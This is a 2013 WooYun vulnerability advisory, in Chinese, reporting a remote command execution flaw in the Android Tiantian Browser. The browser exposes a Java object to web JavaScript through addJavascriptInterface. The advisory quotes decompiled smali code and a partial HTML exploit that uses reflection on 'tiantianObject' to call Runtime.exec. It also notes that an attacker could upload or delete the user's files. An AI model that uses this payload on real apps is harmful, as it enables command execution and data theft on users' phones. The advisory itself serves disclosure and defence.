当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-035616

漏洞标题:天天浏览器存在远程命令执行漏洞

相关厂商:华为技术有限公司

漏洞作者: 撸人甲

提交时间:2013-08-29 19:03

修复时间:2013-11-27 19:04

公开时间:2013-11-27 19:04

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

漏洞存在于天天浏览器中,不需要root即可

详细说明:

漏洞存在于天天浏览器中,不需要root即可,addJavascriptInterface导出多处
http://nc.vanke.com/webserver/indexnew.aspx?classid=1
天天浏览器,反编译后com/tiantianmini/android/browser/manager/j.smali中,存在
const-string v1, "tiantianObject"
invoke-virtual {p0, v0, v1}, Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
这里使用导出的tiantianObject,还有其他导出到js的java类也可以使用,天天浏览器导出了多处,都注意下吧。
构造exploit部分内容如下:(html文件)
<script>
function execute(cmdArgs)
{
alert(typeof(tiantianObject));
return tiantianObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

漏洞证明:

跟上一个漏洞一样,调用后可以执行命令,可以做很多事情,例如上传sd卡文件,上传私有目录下的可读文件、删除文件等等。用户群不大,小软件没地方提交了。
通用类型的漏洞,希望引起注意,不过大厂商的都知道了。

修复方案:

限制下吧

版权声明:转载请注明来源 撸人甲@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:0

确认时间:2013-08-29 19:03

厂商回复:

最新状态:

暂无